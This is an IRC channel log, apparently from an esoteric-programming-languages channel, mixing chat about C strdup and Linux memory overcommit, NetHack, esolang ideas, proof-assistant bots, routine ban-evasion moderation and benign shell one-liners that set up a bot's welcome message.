10:27:11 <ais523> also you can normally get the box open using sufficient violence, but that tends to have bad side effects
10:27:27 <ais523> (kick it with ^D or use your weapon with #force; don't #force if you have a valuable weapon, it might break)
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10:29:16 <fizzie> You might also come across a lock pick, which is similar to a key except with slightly different properties.
10:29:36 <ais523> (or very occasionally, larger)
10:30:31 <fizzie> The weight seems to be consistently larger.
10:31:35 <ais523> I was referring to "chance to open a lock per turn"
10:31:43 <ais523> which is the main performance difference between unlocking tools
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10:31:48 <zzo38> fizzie: I like it with the GCC extensions, which I think is a more useful and more versatile way.
10:32:00 <zzo38> (In GNU mode you can use "typeof" without underscores.)
10:46:45 <elliott> ais523: "effects whether" -> "affects whether", and that malloc/strcpy is shorter as strdup("submenu") if you can use strdup/have an implementation lying around
10:46:51 <elliott> ais523: no credit desired for either
10:47:41 <ais523> elliott: someone on Hacker News already pointed out strdup, but I've actually been removing strdup calls, because they're POSIX rather than C11 and this actually comes up sometimes
10:47:52 <ais523> and my blog posts frequently have typos in
10:47:56 <elliott> you can just write your own strdup and save the LOC everywhere
10:47:59 <ais523> that happens when you write ten thousand words in two days
10:48:12 <elliott> it's a good thing you have me to tell you the typos so you can fix them, then
10:48:22 <ais523> I just left them unfixed in the other posts
10:48:30 <ais523> this is getting enough exposure that I might have to fix them, though
10:48:45 <zzo38> I use strdup though, it is available in Windows and in UNIX systems; you can add an implementation of strdup if needed.
10:48:48 <ais523> there was also a debate on the thread about whether strdup'ping a constant is the best idea, because if it isn't inlined, it'll need to count the characters in it every time through
10:49:05 <ais523> I didn't expect the post to get as popular as it did
10:49:08 <elliott> ais523: btw, you also don't check for malloc failure...
10:49:14 <elliott> does the real code use a malloc wrapper?
10:49:18 <zzo38> ais523: Can it inline it though?
10:49:28 <ais523> elliott: I think it used to, then daniel_t changed it so it didn't
10:49:53 <elliott> I mean Linux's default configuration isn't going to give you NULL back, but...
10:50:19 <ais523> also, running out of stack gives you a segfault, arguably running out of heap should to
10:50:27 <elliott> ais523: anyway, return "submenu"; would work if you appropriately const-marked the return value, right?
10:50:31 <ais523> it's pretty easy to change whether we have malloc wrapped or not, though
10:50:39 <ais523> yeah, it's to allow free
10:50:51 <elliott> free() on string constants should be specified to do nothing or something
10:50:59 <ais523> I was about to say that
10:51:05 <elliott> ais523: on Linux, it doesn't necessarily give you a segfault
10:51:06 <ais523> that's technically viable in most C implementations
10:51:09 <elliott> it might kill Firefox instead
10:51:10 <zzo38> elliott: I don't agree it shouldn't specify
10:51:25 <ais523> elliott: it does 100% give you a segfault unless you explicitly mmap'ed over NULL
10:51:25 <elliott> ais523: which is rather more annoying
10:51:29 <ais523> or you're running in kernel mode
10:51:32 <zzo38> free("submenu"); should be an undefined behavior
10:51:36 <ais523> oh, you mean the running out of memory
10:51:38 <elliott> it doesn't bother to return NULL when it's out of memory
10:51:47 <ais523> you can set the overcommit behaviour to 2 to disable that
10:51:49 <elliott> it just gives pointers and then kills ~a random process when you try to use them
10:52:06 <ais523> really, though, we need a 3, which starts refusing allocations to programs that are using lots of memory when they get near, say 80% of the memory that isn't used by other prorgams
10:52:14 <elliott> I'm saying that your current behaviour isn't "segfault when out of memory", it's "kill Firefox and annoy the user when out of memory"
10:52:26 <ais523> and wrapping malloc doesn't change that behaviour either :-)
10:52:29 <elliott> though I guess there's nothing you can do about that, yeah
10:52:45 <elliott> we need an is_this_pointer_real syscall
10:52:47 <ais523> btw, the only time I actually ended up with the oom-killer triggering, IIRC it hit the right process
10:52:48 <Taneb> elliott, does @ solve this problem
10:52:50 <ais523> whereas malloc fail might not have done so
10:53:03 <elliott> Taneb: I'm not working on @.
10:53:06 <ais523> Taneb: it solves it by automatically purchasing more memory from cloud storage
10:53:29 <Taneb> elliott, I meant that more as a joke than aserious question
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10:55:12 <zzo38> My own C extensions solve that problem with the strdup by allowing you to prefix the declaration with ["implements"("strdup",ptr)] so that the compiler can inline it and/or perform optimizations based on it, for one thing.
10:55:22 <ais523> actually, thrashing is the big problem in practice
10:55:50 <ais523> if you're getting near to running out of memory and have nonzero swap, your computer is probably unusably slow
10:56:12 <ais523> and you'll be glad it killed Firefox to free up enough memory that you can open up a terminal and deal with the problem before memory fills again
10:56:44 <zzo38> You should program the computer not to kill processes when one program runs out of memory, unless it is a privileged process which explicitly has a code in it that tells it to try doing such things.
10:57:39 <zzo38> Also have a SysRq command which you can push to tell it to stop a process in case you need to run other programs to deal with it temporarily.
10:57:50 <ais523> this is basically all caused by our programming languages being TC and our computers not being
10:58:36 <ais523> actually, I guess the real reason for NetHack is that if it gets anywhere close to memory exhaustion, there's a leak somewhere
10:58:57 <zzo38> Well, yes you should check that, in case that is actually the problem.
10:59:56 <elliott> ais523: I might disable overcommit, except that I don't trust programs to be robust enough to even crash cleanly in such a scenario.
11:00:28 <ais523> the overcommit setting rarely does anything at all, really, because it's rare that the computer actually does run out of memory
11:00:38 <ais523> unless you set it to 1, never do that
11:00:59 <ais523> (it causes the kernel to overcommit even for completely implausible amounts of memory)
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12:23:26 <oerjan> bloody dog is at it again, for 2 1/2 hours.
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12:37:46 <oerjan> i think the dog may be getting tired, it's occasionally taking several second breaks.
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12:38:45 <oerjan> perhaps it's finally despairing of anyone listening.
12:39:22 <oerjan> No, Dog, No One is Listening to You. No One You would Want to Meet, Anyhow.
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12:44:26 <oerjan> i am not quoting shakespeare. just snapping because of a barking dog, is all.
12:44:43 <AveCaesar> just kidding.. that no dog quote.. it's strange i've been reading so much poetry about dogs past days
12:45:23 <AveCaesar> you know..it's not much about writing.. "just sit down and bleed" -hemingway
12:45:39 <elliott> oerjan: I wonder who this guy is???!?!?!?!?
12:45:54 <oerjan> does it say anything about how to stop other people's dogs barking? yahoo answers was very disappointing.
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12:45:59 -!- elliott has kicked AveCaesar WE'LL NEVER KNOW.
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12:47:01 <elliott> one of his recent evasions didn't match that mask
12:47:06 <elliott> and two other people over the life of the channel have used it
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12:47:46 <elliott> I guess we just have to keep playing cat and mouse until he gets bored
12:49:53 <zzo38> elliott: No, it won't work???
12:50:36 <zzo38> To "keep playing cat and mouse until he gets bored".
12:50:57 <elliott> well, either he gets bored first, I get bored first, or neither of us ever get bored of it
12:51:11 <elliott> if it's the latter, then I think he is probably older enough than me that he is likely to die first
12:51:23 <zzo38> That depends on how persistent they are (and you).
12:51:28 <elliott> and I think this is more work for him than me
12:51:42 <elliott> and also I think I'm more competent than him. so I give myself good odds.
12:52:02 <zzo38> No, he is going to be really persistent.
12:52:13 <zzo38> It cannot be stopped.
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12:53:21 <zzo38> I recommending all persistence
12:54:02 <elliott> well, he seems to at least be bothered by me reacting to his ban evasion, since he sent me a lambdabot message telling me to grow up one of the times
12:54:08 <elliott> I *suspect* he has finite patience, though I cannot be sure.
12:54:59 <oerjan> zzo38: even for dogs? YOU WICKED MAN
12:55:28 <zzo38> oerjan: Even for dogs, it doesn't matter if it is dogs or not, I suppose
12:55:45 <zzo38> Finite persistence isn't same as being small, though.
12:55:48 <Taneb> oerjan, you could confront the owner
12:55:49 <oerjan> oklopol: because he was already banned
12:56:16 <oklopol> you are not feeding my curiosity
12:56:21 <elliott> it doesn't even matter why he was banned at this point, since his reaction since has been to repeatedly evade and insult ops and others (incl. behind their back) as an appeals strategy
12:56:31 <oklopol> perhaps you like cats more than dogs
12:56:38 <zzo38> You should forward banned people to a #esoteric#shadow channel (which is owned by glogbot for this purpose)
12:56:48 <oklopol> i'm not saying it _matters_, i'm just curious.
12:56:50 <oerjan> no, i actually like dogs more, in person.
12:57:24 <elliott> I don't actually remember the original thing
12:57:31 <elliott> I think he was banned multiple times before it became permanent.
12:58:16 <oerjan> maybe we just banned him to check if he was an evil ban evader, which he was.
12:58:41 <elliott> clearly we should just ban everyone by default
12:58:43 <elliott> to preemptively weed out the evaders
12:58:47 <oerjan> (we do like recursion in this channel)
12:59:42 <oerjan> Taneb: but the owner is only there when the dog doesn't bark, at which time i'm all busy being serene and calm.
12:59:53 <zzo38> That is why I made up the shadow channel and made it so that nobody can ban anyone.
13:00:06 <Taneb> oerjan, turn that serenity into ferocity or something
13:00:09 <zzo38> It is channel for banned people, although anyone can access it.
13:00:21 <zzo38> You have to provide forwarding.
13:00:43 <oerjan> Taneb: but when i'm ferocious enough to confront people, i want to kill them.
13:00:52 <Taneb> That may be a problem
13:01:00 <Taneb> Hire a confrontationist?
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13:04:50 <Melvar> < zzo38> I have specified "C" in LANG. < zzo38> Which I think always should be used. – Whatthewhat?
13:14:58 <zzo38> I found out very recently that immediate addressing mode in VAX is also program counter with postincrement, same as how some instruction sets I invented work, in the same way.
13:21:44 <zzo38> Except that mine also allows program counter indexed and all of that stuff too.
13:25:34 <zzo38> It looks like VAX also has a "time of year" register.
13:32:59 <Slereahphone> As long as it doesn't have a "time of the month" register
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14:18:59 <zzo38> Now I wrote about in Black-C, is the use of __error__() function, use of "static inline const" global arrays, and a list of many suggested metadata attributes (none of which need be implemented, and an implementation can add its own, too).
14:21:20 -!- Slereahphone has quit (Ping timeout: 252 seconds).
14:21:35 <zzo38> Metadata attributes are: aligned, alternate, always_return, arg_size, asm_name, associative, assume, breakpoint, cold, complex, commutative, decimal, expect, expect_false, expect_true, fast, fast_math, form, hot, implements, invert, never_return, penalty, prefetch, range, readnone, readonly, restrict, returned, section, self_bijective, unreachable, vector, vrange.
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16:40:26 <fizzie> I don't want to start reimplementing `coins on fungot. :/
16:40:38 <fizzie> Hey, fungot isn't here either.
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16:41:31 <ais523> fungot: what is your opinion on HackEgo?
16:41:31 <fungot> ais523: i wonder why? it means i have to
16:41:45 <ais523> oh wow, what an awesomely relevant response
16:48:36 <ais523> it's a markov chain, I think
16:48:44 <ais523> initialized with names of esolangs and also something else, which I forget
16:51:54 <fizzie> One million English words, to be exact.
16:52:02 <ais523> are the esolangs more heavily weighted?
16:52:35 <fizzie> I believe it has uniform weights, but the frequencies are normalized, which means the corpus sizes do not affect the results.
16:52:43 <fungot> Selected style: fungot (What I've said myself)
16:53:19 <ais523> that got me thinking about initializing a markovbot with a markovbot
16:53:23 <ais523> then realised fungot already had that mode
16:53:23 <fungot> ais523: so, let's say i call them mindless games. if we hit every stupid person, any person going fast and such an apparently non-standard format is being dimensioned by assigning dimensions to them; and sets. maybe thats what them meant by experimental selected so it probably no longer the wand the better part made mercie, i should think at least, that is expressions which have not been able, to assume responsibilities. he wen
16:54:37 <fizzie> Well, it also contains output from all other fungot commands, incl. bf and ul programs.
16:54:37 <fungot> fizzie: ( ( ( a()**)a*:a*)(a()**)a*:a*)((x1)(x2)(x3)) ...out of time!
16:54:48 <fizzie> As was very nicely illustrated there, thank you.
16:56:38 <fizzie> (Discounting non-babble output, I believe the current style is asymptotically speaking equivalent to a weighted interpolation of all the other styles, but of course it hasn't spoken an infinite amount of data yet, so it's not quite.)
17:01:30 <nooodl> that was eerily well-timed illustration fungot
17:01:30 <fungot> nooodl: more simply put: siod sucks as a general purpose ( similar, and i'd like to see that mystical forest powers, but this time on the impact of the introduction to theoretical computer.) a variety of colorful fish, but the darkness. once this is false, another is a sgi indy ( mips, running under rc/ funge-98, using the strn, sock and fgrn fingerprints, running under rc/ funge-98, using the strn, sock and fgrn fingerprints,
17:03:15 -!- fizzie has set topic: a variety of colorful fish, but the darkness | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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18:22:40 <shikhin> http://esolangs.org/wiki/Thue -- what does a line which doesn't contain "::=" before the end-of-rules imply?
18:24:59 <Deewiant> ais523: Where do I report jettyplay bugs (if I should at all), darcsden.com is down (those two phrases may or may not be related)
18:25:16 <ais523> Deewiant: to me personally, and I know it's down
18:25:21 <ais523> although still responding to pushes/pullls
18:26:07 <shikhin> Any good esolangs you folks know of, which are easily implementable (like, say thue)?
18:26:14 <quintopia> elliott: what was the name of that tiny roguelike you never finished
18:26:28 <ais523> gah having a broken tab-complete is so annoying
18:26:39 <ais523> the tab button just arbitrarily started changing focus, rather than completing
18:26:49 <elliott> shikhin: Underload, ///, Deadfish
18:26:59 <ais523> Deewiant: not up to it right now, but I'll move the repo to nethack4.org some time
18:27:01 <elliott> one of these si not serious
18:27:04 <quintopia> shikhin: many many esolangs are designed with easy implementation in mind
18:27:05 <Deewiant> ais523: It opened a bzip2'd nethack (3.4.3) ttyrec just fine but it ended playback at / counted the frames only up to the first "Be seeing you...", works when bunzip2'd
18:27:13 <ais523> elliott: Deadfish is never serious :-)
18:27:20 <elliott> ais523: that wasn't the one that wasn't serious
18:27:26 <quintopia> ais523: but always easily implemented
18:27:26 <Bike> it is easy to implement though
18:27:26 <Deewiant> Or at least it counted further, didn't check if it actually makes it to the end but I'd assume so
18:27:32 <ais523> Deewiant: huh, I wonder if the file in question is multiple bzip files concatenated
18:27:39 <Bike> so is underload. shouldn't /// be easy,i haven't tried
18:27:52 <Deewiant> ais523: I doubt it since it's a ttyrec I created myself and I just bzip2'd it to save space
18:28:10 <quintopia> ResPlicate is easy to implement :P
18:28:15 <shikhin> Yeah, those three I know of.
18:28:40 <Deewiant> ais523: Actually, you're right, it was made with termrec -a
18:28:44 <quintopia> shikhin: you could implement ETAS. it's never been implemented, and I think it'd be pretty easy!
18:28:53 <Deewiant> ais523: So it probably is multiple concatenated ones
18:28:56 <ais523> the bunziper I ported over probably can't handle that format
18:29:17 <shikhin> quintopia: Looking at it :-)
18:30:56 <quintopia> elliott: do you have any broken early first drafts of Vagrant, or did cheater steal everything?
18:31:13 <elliott> there's like one or two vagrant.py copies on the internet
18:31:17 <elliott> they're both of bad versions :p
18:31:40 <quintopia> a bad version is better than no version
18:32:47 <Deewiant> ais523: Ah well, a better showing than ipbt which doesn't understand .bz2 at all
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19:05:11 <shikhin> Doesn't look too easy to implement (note: my operating environments are... let's just say, insane).
19:09:27 <quintopia> shikhin: then implement a fake version where it uses two extended ASCII characters instead of one UTF-16 code point?
19:09:38 <quintopia> i mean, that's still better than nothing :P
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19:10:30 <shikhin> quintopia: You shall have to provide a "Hello, world!" example though. :P
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19:26:42 <quintopia> shikhin: in this bastard double-character encoding, Hello World! looks like aeaaaaasataaaaeseasaeseeestaestaesttasaaeeetesttetasestaeseaasae (i think)
19:27:12 <shikhin> quintopia: I'll be sure to check it out once I finish the interpreter :-)
19:30:35 <quintopia> shikhin: or you could just implement the original spec, truncating 16 bits to 8, since the first 256 UTF code points are identical to ASCII anyway. If you do that, the above program should print "el ol!"
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19:55:50 <shikhin> quintopia: And a hello world for that? Why don't you add that to the wiki page too? :D
19:55:55 * shikhin is too lazy to do this himself.
19:58:22 <ais523> a language where, the first program any given programmer writes in that language, it's a hello world program
19:58:30 <ais523> and the second one is a 99bob
19:58:43 <ais523> to avoid clashes, you must sign your name in the source code
20:00:33 <ais523> (if your name is not unique, your program is a syntax error)
20:02:57 <ais523> well it doesn't have to be a GUID
20:03:04 <ais523> actually, naming people with GUIDs tends to be frowned upon
20:04:21 <nortti> an implementation keeps a log of users and does the stuff
20:08:11 <ais523> but then programs would /retroactively/ become syntax errors
20:08:16 <ais523> you need to know the universe of possible names in advance
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20:22:03 <elliott> ais523: I'm imagining the programs go into some kind of blockchain/DHT type thing.
20:22:38 <elliott> I guess all you'd need to store is name => timestamp of first program written
20:22:48 <ais523> this is going surprisingly well for a sudden esolang idea that's less expressive than HQ9+
20:23:03 <elliott> the implementation looks up the username and timestamp of the file you give it
20:23:10 <elliott> if the timestamp is equal, it's a hello world
20:23:13 <elliott> if it's after that, it's a 99bob
20:23:25 <elliott> if there's no match, store username => timestamp in the DHT and run hello world
20:23:35 <elliott> (they might not have written the 99bob at the timestamp given, but that's UB)
20:24:57 <ais523> what if someone later reproduces their hello world program, with a different modification time?
20:25:03 <ais523> I think you need hashes, not timestamps
20:27:50 <elliott> ais523: then that's not the same program
20:27:59 <elliott> ais523: or rather, it was distributed incorrectly
20:28:12 <elliott> ais523: you should use only verified programs from trustworthy distribution services
20:28:22 <ais523> this reminds me of my approach to encode metadata (like "uses threads") in the modification timestamp of INTERCAL programs
20:28:48 <elliott> ais523: (would you expect a program whose permissions got garbled to still be executable?)
20:29:11 <ais523> elliott: well it usually is
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20:29:17 <elliott> not if you run it with ./foo
20:29:23 <ais523> just you need to give the interp manually
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20:50:56 <ion> Stanford Professor Andrei Linde celebrates physics breakthrough http://youtu.be/ZlfIVEy_YOA
20:55:33 <Taneb> Why did I decide to cosplay a character with such a fancy jacket
20:55:41 <Taneb> I don't know where I can get such a fancy jacket
20:56:34 <fizzie> "Official Grease Pink Ladies Lady Jackets Fancy Dress Costume 50 Outfit Hen Party" ebay hit #1 for "fancy jacket"
20:56:47 <Taneb> I do not think that is the right sort of fancy jacket
20:57:09 <Taneb> I want this sort of fancy jacket: https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQxDUF8eWnhUpJjEglwtNy38olYQuGq8emJ1I3H8cDWBZzXSqhJ
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20:59:46 <fizzie> Taneb: http://goo.gl/17Iltn close enuf?
21:00:04 <fizzie> (I added "white" to my search terms.)
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22:01:37 <boily> ah, the feeling of a righteous ghost :D
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22:06:29 <oerjan> <elliott> Taneb: I'm not working on @. <-- it's gone the way of feather hasn't it.
22:07:08 <boily> (also, hellørjan.)
22:08:53 <oerjan> jepp, helt ekte plasma
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22:29:24 <oerjan> <ion> Stanford Professor Andrei Linde celebrates physics breakthrough http://youtu.be/ZlfIVEy_YOA <-- i take it this may be a good day to catch up to r/physics.
22:29:45 <Bike> is this the gravity wave thing
22:31:17 <Bike> i saw some people wondering why people were going on about that before it was peer reviewed
22:31:52 <oerjan> people without souls, clearly
22:32:21 <boily> I just cleared hell in DCSS. I'm up to fourteen runes!
22:32:36 <Bike> oerjan: well, it was the same for the ftl neutrino business and we know how that turned out.
22:34:21 <oerjan> well, but that was a completely unexpected discovery.
22:38:05 <Bike> or, as this phys.org starts its headline, "Rumours fly"
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23:20:25 <Jafet> applybot: lemma "(2 :: nat) + 2 = 4"
23:20:35 <Jafet> applybot: apply simp
23:20:36 <applybot> No subgoals! (Use "done" to finish proof.)
23:20:47 <applybot> lemma "(2 :: nat) + 2 = 4" \ apply simp \ done
23:21:12 <Jafet> (This took much longer to make than it should have.)
23:23:04 <applybot> Isabelle commands: apply, done, lemma, oops, thm; meta-commands: help, context, state, restart, undo
23:23:15 <oerjan> luboš motl gets _guest bloggers_?
23:23:33 <Bike> powerup comics gets guest comics.
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01:22:56 <oerjan> hm these gravitational waves would be dating from a fraction of a second after the big bang!
01:23:31 <oerjan> unless the theory of eternal inflation is also true, in which they would be dating from the fraction of a second at which that ended in our region of the universe
01:24:25 <oerjan> also those fractions need a "minuscule" before them, i think.
01:29:38 <oerjan> hm 10^(-37) seconds says this article
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01:32:54 <oerjan> ooh it's the same as the theorized time for the grand unification breakup
01:33:54 <oerjan> https://www.simonsfoundation.org/quanta/20140317-possible-echo-of-big-bang-detected/ btw
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01:35:38 <oerjan> hm that site's favicon is so appropriate for this stuff
01:36:35 <oerjan> also, this channel is too quiet tonight.
01:39:26 <oerjan> oh hm it's energy scale, not time. should be correlated though.
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01:49:30 <Jafet> applybot, term "ALL n :: nat. n > 1 --> EX p. prime p & prime (2*n - p)"
01:49:30 <applybot> *** I feel a strange sensation: <type 'exceptions.NameError'>. (Try "restart".)
01:50:01 <Sgeo> What is an applybot?
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01:50:11 <Jafet> python is, like, the worst language ever
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01:51:10 <fungot> http://esolangs.org/wiki/ESME
01:51:23 <Jafet> applybot, term "ALL n :: nat. n > 1 --> EX p. prime p & prime (2*n - p)"
01:51:28 <applybot> *** Inner syntax error at "EX p . prime p & prime ( 2 * n - p )"
01:51:55 <applybot> [| EX x. ?P x; !!x. ?P x ==> ?Q |] ==> ?Q
01:52:16 <Jafet> applybot, term "ALL n :: nat. n > 1 --> (EX p. prime p & prime (2*n - p))"
01:52:16 <applybot> *** Illegal application of command "term" at top level
01:53:04 <Sgeo> ESME is deleted? :(
01:53:15 <Sgeo> http://esolangs.org/wiki/Esme
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01:55:09 <Sgeo> Yes, I realized shortly after I asked, then I linked to it. oerjan made the bot link to the wrong place.
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01:55:44 <oerjan> SOrRY I dON*T KNOW WHat haPPENED
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03:18:18 <ion> http://i.imgur.com/ZYmu29u.png
03:20:21 <Bike> gamestop as laundering. fascinating.
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04:19:26 <Sgeo> Maybe cup noodles aren't so bad... one thing of cup noodles has about as much sodium as two things of instant pasta
04:19:33 <Sgeo> (Or maybe instant pasta is worse than I thought)
04:19:56 <Sgeo> (If I eat instant pasta one night, I usually have two of them, whereas I only have one cup noodles)
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04:39:06 <Bike> `welcome limitless232323
04:40:05 <Bike> that's supposed to play a prerecorded message.
04:40:40 <Bike> mentioning among other things that the channel is about esoteric programming languages
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04:59:24 <fungot> ^<lang> <code>; ^def <command> <lang> <code>; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool
04:59:38 <Bike> all is lost, imo
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05:41:18 <Sgeo> So, anyone ever see a ghost? I believe we should all get in touch with our inner ghost. I think Brainfuck is a wonderful meditative excersize to get in touch with your inner ghost
05:42:04 <Bike> well, i punched one once, but i couldn't see it.
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06:33:02 <fizzie> Bike: It's a bit cut off, but better than nutting.
06:36:52 <fungot> : Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page. (For the other kind of esoterica, try ...
06:47:13 <lexande> what happened to the old one?
06:47:52 <Bike> executed for sedition.
06:49:57 <ion> executed for sediment
06:51:20 <kmc> is hackego actually gone for good? :(
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06:54:36 <Bike> i just like talking about sedition
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07:53:09 <shachaf> I like Vonnegut's _The Gospel from Outer Space_: http://www.readvonnegut.com/2010/07/kilgore-trout-slaughterhouse-five.html
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07:55:32 <Bike> huh, thought that was a different book 4 some reason
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08:40:34 <olsner> sometimes I see $ used to mean cache and it annoys me greatly... I guess $ = cash = cache, but that's so ugly
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08:45:06 <ion> Huh. I have never seen that. I guess i’m lucky.
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10:02:52 <elliott_> (if you're not evading a ban, you'd better say so in the next few minutes.)
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10:04:34 <Jafet> applybot, lemma "((p --> q) --> p) --> p" try0
10:04:42 <applybot> Proving: 1. ((p --> q) --> p) --> p \ Trying "simp", "auto", "fast", "fastforce", "force", "blast", "metis", "linarith", and "presburger"... \ Try this: by fast \ (fast, force, blast, linarith: 0 ms; auto: 1 ms; metis: 2 ms; fastforce: 3 ms).
10:05:17 <applybot> QED: lemma ((?p --> ?q) --> ?p) --> ?p
10:06:05 -!- ChanServ has set channel mode: +o elliott_.
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10:06:46 -!- elliott_ has kicked jumpifnotzero if you are not banned user hagb4rd, sorry for the inconvenience and please /msg me.
10:06:55 -!- elliott_ has set channel mode: +b *!*@*.pool.mediaWays.net.
10:07:21 <elliott_> ISP only used by two people who aren't hagb4rd in the logs
10:07:28 <elliott_> both joined and parted immediately. heck, maybe they were hagb4rd too
10:07:33 <elliott_> should be okay for a temporary ban
10:07:37 -!- elliott_ has set channel mode: -o elliott_.
10:08:20 <elliott_> (ban not just based on ISP but also CTCP VERSION giving back some awful German client that nobody else in their right mind would use, and also the lack of a reply)
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10:09:39 <Taneb> Is it bad that, despite mostly programming in Haskell, when I program in Rust I use a very mutation-heavy style?
10:16:07 <Jafet> or haskell is bad!
10:17:03 <elliott_> 10:15:53 -!- Irssi: Starting query in freenode with jumpifnotzero
10:17:03 <elliott_> 10:15:53 <jumpifnotzero> sry was afk
10:17:05 <elliott_> 10:16:33 <jumpifnotzero> i was not evading now. i was yesterday.. my isp reconnected me
10:17:08 <elliott_> 10:16:39 <elliott_> I banned you on the assumption that you were a user who has been persistently evading a ban recently, based on your ISP and client
10:17:11 <elliott_> 10:16:42 <elliott_> are you hagb4rd?
10:18:52 <Taneb> elliott_, how is Hexham doing?
10:19:12 <Jafet> Will you need to disclose that you might disclose that you are disclosing this
10:19:38 <elliott_> Jafet: I don't need to disclose the whole closure.
10:19:42 <elliott_> then it wouldn't be closed any more.
10:21:00 <Jafet> I thought you had it fully disclosed.
10:22:43 <boily> what is the difference between a leak and a disclosure?
10:33:39 <FireFly> Also, what is the awful German client that nobody else in their right mind would use?
10:35:20 <elliott_> 10:01:40 [freenode] CTCP VERSION reply from jumpifnotzero: Nettalk 6.7.16 (c)2002-2012 by Nicolas Kruse (www.ntalk.de)
10:37:19 <Jafet> "i was not evading now. i was yesterday"
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13:09:55 <Taneb> One would presume so
13:10:33 <oerjan> now hackego's repository browser isn't loading either :(
13:13:20 <oerjan> !addinterp sh echo 'Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:13:21 <EgoBot> There is already an interpreter for sh!
13:13:40 <oerjan> !addinterp welcome echo 'Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:13:41 <EgoBot> Interpreter welcome installed.
13:13:47 <EgoBot> 'Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:13:56 <EgoBot> Interpreter welcome deleted.
13:14:03 <oerjan> !addinterp welcome echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:14:03 <EgoBot> Interpreter welcome installed.
13:14:08 <EgoBot> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:14:54 <oerjan> yay the dog hasn't barked today!
13:22:15 <fizzie> !welcome INSERT_NICK_HERE
13:22:15 <EgoBot> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:22:48 <EgoBot> Interpreter welcome deleted.
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13:23:58 <fizzie> It's the nick issue that's fungot's problem too; an Underload program could output that entire message, but couldn't do the nick; the brainfuck interpreter has a shorter output length limit.
13:23:58 <fungot> fizzie: " and this is a new game. there is no new-line in morse code ( the way databases do it), but... it's x-treme!
13:24:07 <fizzie> (Should probably just bump up that number.)
13:24:38 <elliott_> addinterp should be able to do nicks
13:24:41 <elliott_> after all, it is for interpreters
13:24:49 <elliott_> !addinterp welcome sh echo $(cat) test
13:24:49 <EgoBot> Interpreter welcome installed.
13:27:38 <oerjan> oh that's how EgoBot's input works
13:27:49 <elliott_> they tend to take programs as input.
13:28:24 <oerjan> well i _still_ don't know how to add a colon only when there is a parameter.
13:28:36 <oerjan> (and strip final space iirc)
13:29:49 <elliott_> !sh [[ -z abc ]] || echo "abc: "
13:30:08 <EgoBot> Interpreter welcome deleted.
13:30:39 <elliott_> !addinterp welcome nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:30:39 <EgoBot> Interpreter nick___cat__ does not exist!
13:30:45 <elliott_> !addinterp welcome sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:30:45 <EgoBot> Interpreter welcome installed.
13:30:51 <EgoBot> /tmp/input.20894: line 1: syntax error near unexpected token `(' \ /tmp/input.20894: line 1: `nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:30:54 <oerjan> elliott_: bloody hell i was working here
13:30:59 <EgoBot> That interpreter doesn't exist!
13:31:03 <EgoBot> Interpreter welcome deleted.
13:31:04 <elliott_> !addinterp welcome bash nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
13:31:05 <EgoBot> Interpreter bash does not exist!
13:31:14 <oerjan> !addinterp welcome sh -c sed 's?[ ]*$?Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)?'
13:31:14 <EgoBot> Interpreter welcome installed.
13:31:21 <EgoBot> /tmp/input.21086: line 1: -c: command not found
13:31:33 <elliott_> it's !addinterp name interp ...
13:31:45 <EgoBot> test is not a user interpreter.
13:31:51 <elliott_> and then !name ...input... is like !interp ... with ...input... as stdin
13:32:05 <EgoBot> Interpreter welcome deleted.
13:34:31 <oerjan> you know i think your method is easier to fix
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13:36:58 <elliott_> just bash -c or don't use bashisms
13:38:12 <oerjan> !addinterp welcome bash -c 'sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:38:12 <EgoBot> Interpreter bash does not exist!
13:38:24 <oerjan> !addinterp welcome SH bash -c 'sh nick=$(cat); [[ -z $nick ]] || echo -n "$nick: "; echo Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)'
13:38:25 <EgoBot> Interpreter SH does not exist!
